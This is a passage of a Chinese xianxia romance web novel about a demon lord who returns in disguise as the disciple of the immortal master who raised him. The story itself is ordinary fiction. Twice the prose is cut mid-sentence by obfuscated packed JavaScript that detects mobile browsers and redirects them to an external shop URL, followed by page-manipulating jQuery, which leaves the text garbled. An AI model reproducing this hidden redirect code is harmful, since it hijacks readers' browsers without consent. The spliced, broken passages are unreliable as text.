“啊?你好老哦。” “小鬼头,嫌弃为师?罚你晚上不许吃鸡。” “我是小鬼头!你是小气鬼!” “反了天了。” …… 陌归尘从儿时记忆回神,面无表情望人,腹诽着,年纪那么大,肚量才那么丁点儿,可不就是小气鬼一个! 终于。 前方白衣仙人问:“休沐十日,打算何时出发,几时回。” 陌归尘:“弟子孤身一人,无牵无挂。” 闻笺静默半息,目光波澜不惊,声音也是淡淡的,难辨喜怒重复:“无牵无挂。” 而后,直接凭空消失。 “?” 陌归尘无言以对,十年未见,他倒是有些许捉摸不透闻笺这人。 一言蔽之,莫名其妙。 青年停在原地郁闷半晌,也提步离开,只是刚到弟子住所,方后知后觉项间空荡荡。 他摸了摸锁骨处,空空如也。 吊坠不见了。 掉了? 如此思索间,也只好沿着原路折返,边走边寻吊坠,终于,又瞧见他那位凭空消失的师尊。 而这位师尊掌心还躺着枚东西。 吊坠式样普通,外面一抓一大把,陌归尘倒是不慌被认出,况且他也不觉得闻笺那样高高在上的大忙人、伪君子,会事无巨细地记得他们的点点滴滴。 便是淡定走过去,朝闻笺潦草敷衍地行了个礼,说:“那是弟子的物什。” 闻笺淡眼望来:“不是说无牵无挂?” 陌归尘:“……” 陌归尘:“你们当师父的管得也太多了吧?” 闻笺静默片刻。 却仍是没归还吊坠的意思。 像是在等待一个答案。 见状,陌归尘难得在闻笺面前耐下性子,冷不丁盯着人,指桑骂槐似的:“这吊坠,是我前任师父给的,但他早在十年前便死了,我有什么好牵挂的。” “死了?” “是,死了!” 闻笺哑然:“……” 闻笺:“你师父如何死的?” 陌归尘意有所指:“多管闲事死的。” 闻笺噎了声:“……” 陌归尘也不等人发话,一把将吊坠抢回,冷冷道:“弟子告退!” 望着徒弟消失在山脚处,闻笺方收回眼神,把吊坠断掉的旧红绳纳入袖口。 他笑着低斥:“小没良心。” * “阿嚏。” 堂堂魔尊,早已脱离凡胎肉身,竟也会染风寒似的打喷嚏,陌归尘见鬼那般踢开碍事的柳条,拂起衣摆,坐落方石块。 攥在掌心的玉,盈盈发暖。 他摊开手。 吊坠挂绳殷红夺目,竟是被换上新的绳子了? 这吊坠佩戴多年,红绳褪成粉白色,陌归尘也舍不得取下,自然也磨损得不成样子。 难怪会断掉脱落。 只是绳子断了,能换,可有些关系一旦…… 陌归尘冷哼出点鼻息,暗骂自己可真是够昏头的,闻笺那样大义凛然的正道魁首,怎么可能和他一个魔道重修旧好。 简直痴人说梦话。 若被闻笺知道自己没死,还成为为非作歹、恶贯满盈、罄竹难书的无极魔尊,怕是要第一个来将他斩于霜寒剑下吧。 他倚靠在树下看山下风景。 十年未回,整整十年。 可这里的一草一木,还是和从前半分不差,越看越叫人感慨万千。 心尖儿悄然爬上点钝痛。 钝痛逐渐蔓延,痛,越来越痛,甚至呼吸难耐,并且越发失控。 …… 月上枝头,落霞峰。 栀子灵树丛里蹿出只白色的小猫,猫儿憨态可掬,又不乏丝高冷矜贵。 他晃晃脑袋。 该死的。 明明月圆之夜尚未到,竟又维持不了人形,小白猫拱起粉色的鼻头分辨满山气息。 血。 想要血。 猫猫宝石般璀璨铮亮的眸子眨眨,陌归尘喜上眉梢,后山有几只山鸡野雀。 小猫刚跑到后山石桥,却撞见月下仙人。 陌归尘:“……” 真真应验一句不是冤家不聚头! 闻笺! 为什么又是闻笺! 小白猫轻挪脚步,欲趁人未瞧见他时逃走,蹑手蹑脚后退,才转身,还是一头撞上了某人。 闻笺单膝蹲下,单手托起摔了个四脚朝天的小猫。 “哪来的迷路小猫?” “……” 陌归尘甩甩晕乎乎的脑袋,还没回神,就被自家师尊捏住后颈皮。 “……” 他张牙舞爪划拉爪子,完全无济于事。 最后被人带回寝殿。 如今形态的他,灵力低微,只能偷偷逃跑,便是趁人不留神间爬上楼阁。 顶梁中央的小猫情不自禁往下瞄。 他的师尊正在榻几看书,安安静静,如十年前所有的夜一样,被他痴痴端详。 区别大抵便是,当年的小徒弟可以光明正大观赏,甚至托腮调侃:“闻笺,你怎么这么好看!以后都不知道要便宜谁咯。” 那时师尊总笑着丢下书:“没规矩。” “规矩又不能吃。” “天天净想着吃。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻笺手指勾勾他下巴,说:“小傲娇。” 小猫听得不服气,张嘴咬人,趁机逃走。 白衣仙人也跟着迈腿。 一猫一人先后潜入夜色。 陌归尘一路狂奔,跑下落霞峰,恰恰遇到两边夹来的巡夜的值守弟子,便也只好藏到旁边的草丛。 闻笺来到时,守夜弟子们也提着灯走近。 众人行礼:“玄胤仙尊。” 领事长老神情凝重开口:“仙尊行色匆匆,还亲自下山,可是山中有异?是否要加强防守?” “无甚大事。”闻笺言语间,眼神若有似无穿过一众弟子,最后注落在草丛中那道白色小身影,“是本尊丢了只小猫。” 领事长老连忙献殷勤:“仙尊的灵宠是何模样,老夫好叫上弟子们帮忙寻找寻找。” “不必麻烦,小家伙正与我怄气。” 夜,万籁寂静,陌归尘藏在草丛里良久,乌云闭月时,他瞧到闻笺再次启唇说话。 “我等他回家。” 6. “简直反了天了。” 6. 领事长老自然听出言外之意,心领神会地告退:“那便不叨扰仙尊了。” 其他人分分作揖后随长老继续巡逻。 闻笺没再逗留。 脚步声渐行渐远。 陌归尘藏在草丛里松了口气,只是攥着爪子缩成团,神识混沌,愈发迷蒙浑噩。 簌簌—— 眼前窜来团白影。 是白鸽吗? 看不清,眸光涣散的青年,底子里那强烈的嗜血欲望,正不断催促他,终是按捺不住地扑过去,狠戾咬上白影脖子。 源源不断的血落进腹中。 好半晌后。 他思绪微微回笼,才察觉到自己跨坐在不知是谁的身,苦涩的清香飘来,陌归尘掀眸,胯.下人竟又是闻笺。 而自己正双膝跪地,大逆不道地坐在闻笺腰腹处,手臂还霸道捆住闻笺肩膀。 猝不及防一顿对视。 “为什么又是你!” 总蛮横闯进他幻觉,梦醒后又消失得不着痕迹,他拎起底下人衣领:“烦不烦!” “你到底烦不烦啊!” “我讨厌你……” 歇斯底里到最后,变成低喃。 那人温厚的拇指,颤颤抚上他唇角,轻拭掉挂在他嘴边的血珠,那般凌驾众生之人,却对他说着小心翼翼的话:“还难受吗?为师陪你可好?” 还那么温柔。 为什么要这么温柔啊! “滚。” “我让你滚啊!” 月色幽冷,陌归尘单膝跪地,弓腰,强撑着身子,慢慢抬头,疲乏环顾四周。 荒芜杂草里,只有个白鸟尸首。 他甩袖起身。 回了魔界。 * 魔界入口,陌归尘是撑着伞回来的。 家家户户掌灯。 青砖道上,翩翩红影,穿过茫茫血雨。 本该热闹非凡的城,大街小巷中无人走动,临街府邸的小孩胆大包天趴在门缝,露出双黑溜圆眸,偷看那位明艳的银发美人。 陌归尘不经意与小孩相视一眼。 屋内传出惶恐的呵斥。 “要死呀你!” “魔尊大人你也敢直视?” “罪过罪过,孩子不懂事,请尊主恕罪!” 值守魔兵跑来行礼:“尊主,您回来了?” 陌归尘:“为何城中无人走动?” 巡逻兵:“是右护法颁布宵禁,违者杀无赦。” 陌归尘:“本尊怎么不知?” 巡逻兵:“是……右护法说他他他他……” 巡逻兵惊惧跪下:“他的命令就是圣旨。” 陌归尘轻笑:“简直反了天了。” 巡逻兵悄悄抬头,尊主威压强盛,他们这些小喽啰素来不敢直视,可听人如此笑着说“反了天了”,却似受蛊惑般瞧去。 便又是一怔。 恍惚间,他们看到浮华派那位玄胤仙尊。 但二人,分明半点都不像。 …… 陌归尘没急着回魔宫,他收了伞,登上城楼,在楼顶独自静坐,如同往常那般,眼神一一掠过万家灯火,直至灯火点点熄灭,逐渐阑珊,才行回魔宫。 魔宫,正殿,青年款款踏进大门。 陌归尘言简意赅问:“右护法。” 立在旁边的婢女忙说:“回尊主,护法大人正在护法殿,酒肉池。” 陌归尘神色淡然,瞥向高台宝座——魔尊尊位,那座位,染有他人气息。 青年没去酒肉池,只身来到魔宫深处的竹屋。 魔宫阴煞气重,常年萦绕股不散邪息,独独禁地竹屋,净土似的格格不入,雅淡神圣,宛若是劈在魔界的一方仙境。 临到门前。 陌归尘敏锐闻到丝胭脂俗粉味。 旋即招来婢女:“谁?” 简简单单一个字。 却吓得众人双腿一软,纷纷跌跪落地。 此地乃魔宫禁地,无诏不得靠近,婢女们伺候多年,早就能揣摩出这位主儿的脾性,素来宽下,哪曾想今日竟会被问责。 众人颤抖匍匐,哭泣求饶:“尊主恕罪,是右护法大人,曾与几位姑娘嬉戏打闹误闯,奴婢等拦不住。” “求尊主恕罪!” “求尊主饶命!” 说着便不停叩首,磕出血来也不罢休。 “行了,退下。” 陌归尘厌倦摆手,掀开竹帘走进去。 一切如常,陈设没有变动。 直至—— 他在灵藕师尊衣摆处瞧见小半个脚印。 * “你这小脸,可真是我见犹怜,来日给你封妃。” “讨厌,护法大人要把人家送给尊主?” “可尊主从不近女色,人家怕。” “送什么,本尊就是这魔界的主,美人儿,叫声尊主,给你封后。” “真的吗?尊主大人。” “自然,本护法早就发现陌归尘弱点了,过几天,月圆之夜,趁他病,取他命!” 砰! 整扇门被一记掌气轰碎。 门外人迤迤然踏进来,悠悠笑问:“是么?右护法想如何一个取法?” 右护法推开身上女子,哆嗦着提裤,妈了个鸡,差点被吓得不举,这操蛋玩意儿。 他破声道:“陌归尘!你怎么来了?” 池旁横着几具干瘪女尸,陌归尘面不改色越过尸体,径直来到右护法跟前,抬手,掌心化出煞气。 那缕煞气变作黑鞭。 毒蛇般缠绕上右护法的脖子,死死勒住。 银发青年释放出气息,威压压得人脊背骨崩断,右护法砰地跪地,他目眦欲裂:“尊主不要忘记是谁带你踏过无妄尸海来到魔界。” 陌归尘冷笑:“呵。” “尊主!你不能杀我,杀了我,月圆之夜,谁替你护法。” “你威胁本尊?” 见这两招已无用,右护法破罐子破摔似的直戳后者痛楚,大有种你让我死,我也让你不痛快的精神胜利法:“你大逆不道,觊觎师尊!恬不知耻!” “活该被抛弃!” “你就是最无用的棋子,随时可断舍离!” 陌归尘居高临下看人,宛若生杀予夺的死神,漠视蝼蚁众生:“既然你知本尊是闻笺徒弟,也该知闻笺医剑双修,医术冠绝天下。” 右护法一愣:“什么意思?” 陌归尘:“这么喜欢坐,本尊让你坐个够!” 还没回神的右护法,被陌归尘一掌震碎经脉,废掉修为,丢上魔尊宝座。 窸窸窣窣的声响传出。 密密麻麻的毒物爬满他身子啃食。 如今的右护法是凡胎肉身,哪能承受得住这种钻心,又疼痛的瘙痒。 “本尊素来是个感恩之人,自然会吊着你一口气,让你长命百岁。” “你!闻青栀!你不得好死!” 右护法仰头挣扎,他留有后手,只要激怒陌归尘杀他,他必能功力大涨复生他人身,但偏偏这人,不杀他,竟还如此折磨他。 十年相伴,这人有多杀伐果断,他比魔界任何人都清楚,绝不可能拖泥带水,自己又曾对他有恩,痛下杀手时也必不可能叫自己魂飞魄散。 “为什么?” “你真当本尊傻?你在魂魄种引,企图借本尊的修炼之术,助你使复生法。” 陌归尘目视右护法,此人确对自己有救命之恩,这么多年,便睁一眼闭一只眼。 做错事给他兜,惹祸端替他平,丹药功法从不吝啬赠与,看着他从无名小妖,长成如今呼风唤雨的右护法大人,也换得他一步步踩到自己头上,十年纵容,什么都该还清了罢。 最后一次,他耐心给出一个明明白白的答案。 “我并非绝情,倒是愿意帮你这最后一次。” “可惜,你偏偏纵人踩他衣裳。” * 魔宫深处,竹屋。 休沐十日,正正好度过月圆之夜。 据古籍记载,千年灵藕无形无貌,但可幻化万物,至于来源便众说纷纭。 其中之一就是:邪神实体。 可谁又见过邪神? 更别提劳什子邪神实体还是魂体。 陌归尘对此无感,他只暗暗感慨,这灵藕师尊气息容貌无一不高度还原闻笺,像极个完美 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浮华派,拜师大典。 正殿高坛,陌归尘随众内门弟子坐在焚香中,听着几位老者嘴里神神叨叨说话,意为祛除凡尘杂念。 他知道,当年便是如此。 成堆破规矩,饿得他几近晕厥,终于捱到拜师茶后,敬完后,一头扎进闻笺怀里。 饿晕的。 害他被打趣好几年。 众人从高坛,转移到殿前广场听诵,又来到殿前台阶受训,而后进入大殿,一个个轮流接受杨枝甘露洒身,是为劈除诛邪百无禁忌。 “仙人抚我顶,结发受长生,有请诸位师长落座。”执事长老高声喝完,又对着一众弟子道,“尔等,去叩首敬拜师茶吧。” 终于。 先后走出几位仙门长者,来到高台之上停下,陌归尘一眼就瞧到闻笺,而闻笺旁边的掌门脸色阴沉,猝不及防与人对视,但见对方似瞪着他冷嗤了声。 陌归尘:“……” 他无所谓耸肩,这师伯素来瞧不起他的出身,更是觉得他没规没矩上不得台面。 慢悠悠来到大殿两边的小案几烹茶。 陌归尘捻起几片茶叶,丢进瓷壶,单手轰出灵力操纵火候,暗中嘀咕。 本尊堂堂魔尊,跪你,受得起吗? 且竟还要喝旁人的拜师茶! 还想收几个徒弟? 好呀。 喝。 本尊让你喝。 他不假思索在茶水里撒了半杯盐。 咸不死你。 端起茶杯,陌归尘走向正殿中央,停在闻笺跟前:“师尊在上,请受弟子一拜。” 陌归尘规规矩矩叩首。 这才刚挺回腰板,那只温厚的掌,便已抚上他发顶,轻轻揉了揉。 “师尊,请用茶。” “嗯。” 茶水入口,某仙尊的微笑凝固,那常年云淡风轻的脸,出现点裂纹。 捉弄得逞的青年,还是觉得不够,他瞄起半边眼皮,恹恹垂头,声音不大不小,却藏着谁也都听得出的委屈落寞。 陌归尘唉声叹气:“是弟子不得师尊心吗?怎么这茶只抿一点呢,唉。” 咕咚饮完茶的三长老瞟来,看戏似的搭腔:“哟,是呀,我这都喝完了,闻师弟你也莫要伤小辈心。” 黄金向来口直心快,连忙帮陌归尘说话:“就是!这在我们凡间,那便是砸场子,要被骂一句你小子是不是不给面子?” 三长老敲了敲徒弟:“没大没小!” 黄金揉揉额头:“师父,痛。” 三长老皱眉:“你这娃真娇气,来抹药。” 黄金腼腆嘿笑:“有师父疼真好。” 陌归尘趁机“借东风”,幽怨低叹:“我的师尊不疼我,并非他的错,实乃我的错。” 闻笺:“……” 陌归尘:“我应该换个师尊疼我。” 7. “师尊有过软肋吗?” 7. “我应该换个师尊疼我。” 此话砸落地面,整个大殿须臾间静得鸦雀无声,众人噤若寒蝉屏息。 这位仙尊新弟子可真是胆大妄为。 掌门更是听得气不打一处来。 “闻师弟,你瞧他这是什么话?” “师父是他想换便换的?” “大逆不道!目无尊长!” 掌门气煞极了,吹胡子瞪眼:“一个比一个逆天,我看你是真想养出第二个孽——” “师兄。” 闻笺淡淡一声打断掌门后话。 他望向陌归尘,再次把茶送回唇边,放下时,杯中茶水,一滴不剩。 “为师对你很满意,你呢?” 陌归尘懒瞟茶杯,偷换概念答:“弟子对自己当然也是极满意的。” 这话刚完。 他听到声浅笑,沉沉哑哑的。 哎呀!你俩旁若无人地师徒情深是吧? 三长老当场翻了个白眼。 三长老:“徒弟呀,你对为师满意吗?” 黄金小狗哈舌似的:“满意,满意。” 三长老斜觑闻笺,模样颇为得瑟,这年头谁还没个称心如意的小徒弟呀! 拜师大典正式结束。 结束以后,便是浮华派惯例的宴会。 席间,闻笺一直饮水。 陌归尘看得乐从中来。 自己这暗中加料的行劲虽幼稚,但能看闻笺有苦难言的吃瘪模样,实在有趣得紧。 那瞬。 又生出种错觉来。 这十年,不过是场噩梦。 其实,他从未叛出浮华派,也没有师徒决裂,他向来是落霞峰闻青栀,而非魔界至尊陌归尘。 是梦。 都是梦。 可是现实却不甚如意。 席间总有人扫兴至极提及魔界,言语全是攻击,对于那位魔尊尤甚,一口一个魔头死不足惜。 而这,也生生拍醒他。 事实如此,他闻青栀就是魔尊陌归尘。 酒席还有个不成文规矩,新晋内门弟子们需得行酒令,也算是互相打个照面。他们行的是雅令,令题也并非诗词对子,而是就围剿魔界提观点,在陌归尘前面,已有几位同门侃侃而谈。 “魔界地势高耸,易守难攻,弟子以为应当……” “弟子倒是……” “弟子……” 终于,轮到陌归尘头上。 陌归尘慢条斯理斟酒:“我觉得做人还是要有自知之明,恕我直言,在座各位,都不是你们口中那位大魔头的敌手。” 举杯,一饮而尽后,他又补充:“哦,即便是一起上,也是徒劳。” “陌师弟,还没喝你就醉了?” “没这么长他人志气,灭自己威风的!” “有仙尊,那魔头能成什么气候!” …… 众人争先声讨,就连掌门也冷眼指责。 掌门:“闻师弟,看看你新收的好徒弟。” 闻笺:“小徒所言不虚。” 众人:“……”您可真护短啊! 陌归尘回到闻笺身旁坐下,嚼着颗青提:“师尊也敌不过那魔头?” 闻笺:“敌不过。” 陌归尘试探似的开口:“不信,除非你有软肋被魔头捏在手。”曾几何时,他也一度以为他们是彼此的软肋…… “软肋?” “是,师尊有过软肋吗?” 闻笺注视他:“为师说了,敌不过魔尊。” 陌归尘:“所以师尊有没有?” 闻笺:“为师——” 陌归尘丢掉青提:“罢,弟子不敢僭越师尊的前尘往事。” 青提在盘中滚了几圈,被闻笺捻走,而陌归尘则若无其事顶着众人错愕的目光,头也不回踏出殿门口,扬长而去。 外面风光正好。 陌归尘伸手挡了挡烈日炽阳,吐出口闷气。 明明迫不及待想求个答案。 又在紧要关头退缩。 十年魔尊生涯,什么血雨腥风没见识过? 居然害怕听到一个答案! 属实贻笑大方。 * 那日后,闻笺闭关了。 而陌归尘更是过得清闲无比。 偶尔随众人上课也都在睡懒觉,倒不是他人懒,此乃猫儿的天性,诸如畏寒。 从前还小,猫儿幼时更畏寒,便常常半夜钻师尊被窝,然后……被人拎回自己房。 师父会说:“自己睡。” 小徒弟:“哦。”规规矩矩应下。 转头趁师父躺下,又一脚蹬掉被子,鬼鬼祟祟摸进师父房,轻车熟路地钻被窝。 师父扶额掀开衾被,露出趴在他胸膛的小徒弟,心道小猫能有什么坏心思,不过是哪里暖往哪里钻,便无奈点点徒弟通红的鼻尖:“你这小鬼头。” 小徒弟破涕为笑:“我是小鬼头,你是大头鬼。” 师父轻叹:“没大没小。” …… 陌归尘下意识裹紧衣衫,又猛地恍惚一怔,方才梦到些钻被窝的零碎片段,竟也跟着冷?真是睡糊涂了,明明有灵力护体来着。 悄悄叹气,又睡过去。 于是,那些个弟子便总能瞧见个红衫银发青年,窝在书斋角落,时而慵懒趴在太阳底下小憩,时而悠哉单手托腮闭目养神。 明明貌若无盐,偏偏……怪是养眼。 总叫人情不自禁偷看。 授课长老可不惯着,一戒尺拍下案桌,训斥道:“陌归尘!倒睡得惬意!心法要诀背得滚瓜烂熟了?你这年纪,正是修道的好苗子,怎的如常荒废度度日!简直有负仙尊栽培!” 陌归尘瞄起眼,又换了个姿势趴下。 长老:”……”大逆不道啊! 长老:“你小子,若能在我手下过三招,今日便不追究,若能一招将老夫打趴下,以后随你,你爱来不来,爱睡睡。” “若不能,那便滚出我们浮华派。“ 众人哗然。 这是趁人家师尊闭关,刻意刁难? 哪个弟子能在你手下走三招,还一招打趴你? 起初,黄金也是这么想的,正愁着跑去演武场劝说两句,结果才踏进半扇门,便听到声“哎哟”哀嚎。 来自授课长老。 长老整个人趴在地上,那叫一个生动地诠释着何为被打得“五体投地”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375694|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此后呀,再没人管过陌归尘睡觉这事。 * 眨眼又是大个半月。 今日是新晋内门弟子第一次历练的日子。 临出发前,落霞峰。 黄金兄妹站在石阶下朝陌归尘挥手。 “陌兄,走呀。” 望着下方的黄金兄妹,陌归尘微愣,好像当年,他便也这般,鲜衣怒马少年时。 十五岁的少年意气风发,骑着匹师尊亲自为他挑选的马中极品——照夜玉狮子,出门历练。 红衣白马,两厢相衬,肆意又张扬。 红衣少年举剑:“闻笺!等我回来一定比你高!” 白衣仙人迎风目送:“没大没小。” 十六岁的少年朝气蓬勃。 “闻笺!等我回来一定比你高!” 十七岁的少年英姿飒爽。 “闻笺!回来一定比你高!” 十八岁的青年风流倜傥。 “闻笺!一定比你高!” 十九岁的青年玉树临风。 “闻笺!比你高!” 二十岁的青年俊美无俦。 “闻笺!高!” …… 直至今时今日,他的个子都没长过闻笺。 他怀疑,定是闻笺这家伙抚过他发顶的缘故,毕竟民间俗语有云“摸头顶,长不高”。 八成如此! “陌兄,快走啦!晚了要被训话的。” 山下又是一声呼唤。 陌归尘走下台阶,随人远去。 晌午的风拂来,雅淡中又带着苦涩,是栀子花香,闻笺身上独有的味道。 陌归尘回眸。 整座山头空空如也。 这一次,没有人站在山上等他归来。 如魔界十年来所有的夜。 万家灯火,却没有一盏为他而明。 * “慢着!” 刚来到浮华派山脚,身后传来声音,陌归尘脚步顿住,却不见半丝惊喜,甚至更落寞。 “好徒弟呀,走那么急干嘛,为师都没来得及跟你说几句体己话。” “师父。” 黄金惊喜小跑过去,随后便是幕师徒其乐融融的画面。 二人就杵在陌归尘正前方交谈甚欢。 看得人暗中冷嗤。 片刻后,陌归尘还是按捺不住暗下目光,偏头挪开视线,猝不及防地,撞进另一人的眼眸。 是双清冷又熟悉的眸子。 也不知站了多久。 见他不动,那人便向他走来,手上还挽件雪绒狐裘大氅:“深秋,去的又是极寒之地,仔细冻……” 闻笺的话音难得停顿了一下。 陌归尘静默凝望闻笺,眼前场景顷刻倒退回多年前—— 落霞峰,白雪皑皑。 几岁的孩子堆了个雪人。 白衣仙人手拿围脖现身。 小徒弟站在雪人旁,笨拙替雪人系围脖。 师父单膝蹲在小徒弟身侧,伸手拂掉徒弟身上的雪沫。 回忆与现实相碰,两厢话音随之重叠: 围脖被扣好:“仔细冻得哭鼻子。” 大氅被披落:“仔细冻着。” 8. “若他有错,那定是我错在先。” 8. 人已离去。 闻笺仍站在原地。 恰好瞧见迎面而来的掌门。 那人身后还跟着名新面孔,见到他便是脸色沉下告状:“闻师弟,托你好徒弟的福,这已经是我找的第十位授课先生了。” “你怕是还不知,你新收的宝贝徒弟把咱们专门教授弟子基本功的长老给打趴下,人现如今还搁榻上躺着呢,外头先生听闻这事,个个吓得退避三舍。” “你惯的徒弟可威风着呢!” 闻笺略有歉意,正欲说话,却是骤然闷咳。 “咳。” “师弟可还好?”掌门登时怒气尽散,心有不忍叹息,“唉,旧伤未愈,痼疾难祛,你这么急着出关是为哪般?纵有天大的事,能比得过自己的身子?” 他连忙催促:“赶紧回去闭关。” 掌门送着人回去,哪知他这师弟转头却去了长老阁,非但亲自替人疗伤,还百般赔礼道歉。 丹药功法不要钱似的送。 叫授课长老好一顿受宠若惊。 掌门却看得更痛心疾首,连连摇头:“闻师弟,严师方能出高徒,你这般溺爱,势必养歪,莫不成你还想养出第二个青栀,他做的错事可真是罄竹难书,目无尊卑、忤逆犯上、修炼邪术、勾结恶灵、残害同门,甚至妄图弑师!” “你还想挨上一剑?” “你这身子骨可受不住第二剑。” 闻笺直视掌门郑重其事:“师兄,青栀是我亲手带大的,我的徒弟,无需从旁人口中了解,我比任何人都清楚他是个好孩子。” “若他有错,那定是我错在先。” * 另一边。 陌归尘跟在队伍后,一寸寸抚着这件崭新大氅,尾指似乎勾到点绳子,低头,掀开内里看了看,是个储物袋。 指尖挑开袋口,放出点神识去探。 神识化作只雪白小猫,刚落地,便差点被堆成小山似的灵丹妙药活埋,这偌大无际的储物空间内,还有多不胜数的话本、各种解馋零嘴和好几只被灵力包裹着的……荷叶鸡。 …… 夜色渐沉,家家户户开始点灯。 浮华山高耸入云,离得远,也能瞧见各处峰落,此刻,落霞峰山顶小筑亮起灯光,烛光不时被浮云遮挡,明明灭灭的。 显得不太真切。 陌归尘定眼细看半晌,终于,碍事浮云飘走,露出那静谧的一隅。 确实亮着。 是落霞峰亮起一隅烛火。 “大家就地歇息吧。” 领头的师姐发话,众人在山林落脚。 不知多久后,陌归尘仍眺望落霞峰,霎时,耳畔恍惚声起提醒:“当心。” 惊慌声四起:“那是什么?” “啊惹,黑不溜秋的好恶心。” “嘶!痛!啊啊师姐救命!” …… 没理会惊慌失措的众人,陌归尘连退两步,回望身后人,黄银拽紧他手的臂弯负伤了。 正汩汩冒黑水。 地上还有些负隅顽抗的断裂黑藤。 蠢蠢欲动,在伺机捕食。 陌归尘视线扫过黑水,将地上残骸轰成粉末:“我不需要,下次别做蠢事。” 随后,径直离开。 见状,有人唾骂:“他傲什么啊,不识好歹,黄师妹下次别救他,这种人死了清净。” 黄银:“他是面冷心热。” 男弟子恨铁不成钢:“你还为他说好话,你真是心软啊!” 男弟子一脚踢掉黑色藤蔓:“哎呀,这都是什么玩意儿?似乎在秘境中见过。” 两刻钟功夫后。 诡异黑藤被清理得一干二净。 医修正在给几名负伤弟子研磨药粉,众人后怕地围坐在一起,便见红衣青年乘着夜色归来,脸色苍白,额角薄汗,双唇抿着,似在隐忍什么。 陌归尘停在黄银面前::“想死吗?” 正欲上药的其他人:“?” 众人:“你有病?受伤不治才是求死!” 其中一人弟子:“就是,滚一边去!”说罢直接用药,却骇然瞠目吐血,不过两息功夫,痉挛倒地。 余下几人:“这……怎么回事?” 匆匆跑来查探的医修也是束手无策。 陌归尘面无表情:“药效反扑。” 他的师尊医剑双修,独步天下,跟在师尊身边多年,少说也学去五六成,自然一眼看出异样。 陌归尘丢下鲜采的几味药材:“三株为一份,冷火炼丹,丹纹出现三纹止,每人口服半颗。” “我们凭什么信你?” “那便等死吧。” * 黄银捡起药材,交付医修:“我信他。”便转身去追那位潜进夜色的青年。 崖边,霜风猎猎,叶影幢幢。 “你受伤了。” 陌归尘没说话,也没看来者。 “我也是医修,我帮你祛毒。”黄银说着便去扯陌归尘衣袖。 “我没——” 拉扯间,拽下半幅本就岌岌可危的袖袍,暴.露出袖袍下的血孔,密密麻麻的,还泛起黑色。 陌归尘本就爱着红,他人若不细看只道是布料湿透,却不曾想竟全是血迹。 真是触目惊心。 “你,你不疼的吗?” “有什么好疼的。” 陌归尘捏诀,便换了身新衣。 遥想当年踏过无妄尸海,师尊送他的那枚吊坠,曾掉落过幽冥鬼涧。 幽冥鬼涧有多可怖? 那便是上任魔尊都忌惮绕路之地。 但他陌归尘二话不说跳下去,恶鬼啃噬,鲜血淋漓;三千业火焚身,经脉腐碎;毒蔓附着肌肤,徒手扯得骨肉模糊;趟过滚滚熔岩,一双腿只剩下点黑灰,又用只剩下指骨的手攀上石岩…… 他都没喊过一声疼。 但还是未看到吊坠。 他穿过虚空的门,来到万年寒境的入口,那处冰天雪地,还未踏足,已冻得人浑身颤抖,猫是畏寒的,九尾猫更甚。 也幸好堕魔后彻底激发九尾一族的天赋。 他手握九条命。 打那出来后,便丢了两条命。 如今这点小伤,对他来说,压根不够看,倒是眼前这位看起来更身娇体弱,伤口还冒黑水便跑来找他,真不把自己身子当回事。 黄银:“我——” 陌归尘:“黄姑娘,先顾好你自己。” 说罢,陌归尘也不等人回话,直接凭空消失。 夜半三更。 防御结界口处,守夜弟子昏昏欲睡。 林中,湖边树下。 静坐半天的陌归尘瞥过去,终是没叫醒那名同门,杂草丛中,恰逢其时爬出来条毒蛇,银环蛇口吐信子蜿蜒前行,愈渐靠近守夜男子。 银发青年弯腰,捡起道分叉的枝条,咻地甩去,虎口叉住蛇身,将毒蛇定在原地。 毒蛇嘶哈抽气,挣扎得滚了又滚,翻出软白肚皮,还是徒劳无功。 精疲力尽后,幽怨十足朝陌归尘张嘴,喷出点毒液,跟吐口水似的。 陌归尘没与那蛇计较,懒洋洋抱头,方靠回树干,视野上方,却倒出一张脸来,还笑吟吟的 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“我知道的,你是心底纯善,你在秘境救人,你替大家采药,毒蛇你也没杀,就连那个打瞌睡的弟子你也没叫醒他,更深露重坐在这吹寒风,其实就是替他守夜吧?冷言恶语只是你的伪装,为何要如此?是有心事对吗?” 陌归尘:“与你何干。” 黄银:“不可以当朋友,试着交心吗?” 朋友?交心? 陌归尘冷笑,那位右护法,与自己相识于微,十年恩情,却不及一个虚无的魔尊之位,也不及那人心心念念的邪术修为。 妄他还在秘境念及此人旧伤。 费尽心机在闻笺眼皮底下,冒着魔尊伪装被识破的风险,窃取秘境之主的半根心脉,只为给那人缓解旧疾偶尔带来的疼痛。 可待他回去得到的是什么? 是个取他性命的背叛。 还有十年前,他以背交付的好师兄,竟不惜以死来构陷他,叫他困在百口莫辩的境地。 而他。 连问一句“为什么”的机会都没。 陌归尘一口回绝:“没必要。” 黄银不死心赖在原地:“可你的伤不宜久拖。” 话毕,她亮出手腕苦口婆心劝他:“你看,我的伤已处理好,现在,让我帮你疗伤可好?” “……” 陌归尘看着黄银,这女子顶多双十年华,然而那股子说话的语气,却割裂异常,如长辈哄小孩,循循善诱,又温柔耐心。 恍惚间,眼前飘过些画面: 孩子气鼓鼓蹲在角落瞎折腾。 白衣仙人走来,伸手戳徒弟腮帮:“怎么,你掌门师伯罚你在这拔草?” 小徒弟腮帮那堵气顿时被戳掉。 闷气“噗“的一声泄出来。 小徒弟又气又想笑瞪人:“连你也来骂我?” 师父继续逗人:“为师哪敢骂你这混世小魔王,我落霞峰的花草不得被拔光?” 小徒弟:“哼!” 师父:“把手伸过来。” 小徒弟:“你也要打我手心?” 师父:“让为师看看伤口。” …… 黄银:“让我看看伤口。” 